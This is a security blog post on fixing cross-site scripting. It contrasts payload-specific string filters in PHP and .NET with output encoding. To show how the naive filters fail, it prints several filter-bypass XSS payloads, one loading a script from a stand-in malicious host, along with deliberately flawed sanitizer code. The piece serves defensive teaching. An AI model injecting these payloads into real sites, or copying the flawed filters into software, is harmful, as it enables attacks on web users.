Tackling XSS – The Right Way to Fix Vulnerabilities

Author:

As the CTO of Valency Networks, I’ve seen many software developers struggle with cross-site scripting (XSS) vulnerabilities. Unfortunately, a common mistake is to focus on specific payloads and create filters for those. This method is ineffective and risky, leaving loopholes for attackers to exploit. Through our extensive VAPT (Vulnerability Assessment and Penetration Testing) work, we’ve seen this issue repeatedly. I felt like highlighting on the incorrect and correct approach.

The Wrong Approach: Filtering Specific Payloads

Here’s a common scenario: a developer finds their application is vulnerable to XSS. They ask for the specific payload used in the test and then filter that exact payload.

Imagine a PHP application where the developer tries to prevent XSS by removing specific harmful strings. Their code might look something like this:

// PHP Example of a misguided approach

function sanitizeInput($input) {

$input = str_replace(“<script>”, “”, $input);

$input = str_replace(“</script>”, “”, $input);

return $input;

}

Or a similar attempt in .NET:

// .NET Example of a misguided approach

public string SanitizeInput(string input) {

input = input.Replace(“<script>”, “”);

input = input.Replace(“</script>”, “”);

return input;

}

This might block a payload like <script>alert(‘XSS’)</script>, but other variations can bypass these filters:

// Example payloads that bypass the simplistic filter

$payload1 = “<script src=’http://malicious.com/xss.js’></script>”;

$payload2 = “<img src=’x’ onerror=’alert(1)’>”;

$payload3 = “<svg><script>alert(‘XSS’)</script></svg>”;

Attackers are often smarter and can use sophisticated techniques to bypass simplistic filters. For example:

// Sophisticated payloads that bypass simple filters

$payload4 = “<scr<script>ipt>alert(‘XSS’)</scr<script>ipt>”;

$payload5 = “<<script>script>alert(‘XSS’)<</script>/script>”;

The Inefficient Band-Aid: Piling on Payload Filters

In an attempt to cover all bases, developers often add more filters to their code. This not only clutters the code but also slows down the application. Each new filter adds processing time and still fails to cover all attack vectors.

Here’s how an inefficient approach might look in PHP:

// Inefficient PHP approach

function sanitizeInput($input) {

$input = str_replace(“<script>”, “”, $input);

$input = str_replace(“</script>”, “”, $input);

$input = str_replace(“onerror”, “”, $input);

$input = str_replace(“<img”, “”, $input);

// and the list goes on…

return $input;

}

And in .NET:

// Inefficient .NET approach

public string SanitizeInput(string input) {

input = input.Replace(“<script>”, “”);

input = input.Replace(“</script>”, “”);

input = input.Replace(“onerror”, “”);

input = input.Replace(“<img>”, “”);

// and the list goes on…

return input;

}

Even with these numerous filters, attackers can still bypass them using new and creative payloads:

// Additional sophisticated payloads

$payload6 = “<img src=’x’ onerror=’eval(String.fromCharCode(97,108,101,114,116,40,49,41))’>”;

$payload7 = “<iframe srcdoc='<script>alert(\”XSS\”)</script>’></iframe>”;

Example of How the Loophole Would Be Exploited

To highlight the issue, consider this example. Suppose a developer filters out only <script> tags:

// Flawed PHP approach

$input = str_replace(“<script>”, “”, $userInput);

echo $input;

An attacker could bypass this by injecting:

<img src=”x” onerror=”alert(‘XSS’)”>

Since the flawed approach does not account for this vector, the XSS attack succeeds.

The Correct Approach: Comprehensive XSS Mitigation

The proper way to tackle XSS vulnerabilities is to understand the nature of the attack and implement comprehensive input sanitization and output encoding. This approach ensures that user inputs are treated safely regardless of the specific payload.

In PHP, a more robust solution involves using built-in functions like htmlspecialchars for output encoding:

// PHP Example of a holistic approach

function sanitizeInput($input) {

return htmlspecialchars($input, ENT_QUOTES, ‘UTF-8’);

}

In .NET, leveraging the HttpUtility.HtmlEncode method achieves similar results:

// .NET Example of a holistic approach

public string SanitizeInput(string input) {

return System.Web.HttpUtility.HtmlEncode(input);

}

By encoding the output rather than filtering specific input strings, we ensure that any potentially dangerous characters are rendered harmless when displayed in the browser.

Conclusion: Embrace a Comprehensive Security Mindset

At Valency Networks, we advocate for a comprehensive approach to security. Developers must move beyond the narrow tactic of filtering specific payloads. Instead, focus on understanding the underlying mechanisms of XSS and implement robust, universal defenses like input sanitization and output encoding.

Remember, security is not about blocking individual attacks. It’s about building resilient systems that can withstand various threats. So, adopt a holistic approach and ensure your application—and your users—are protected.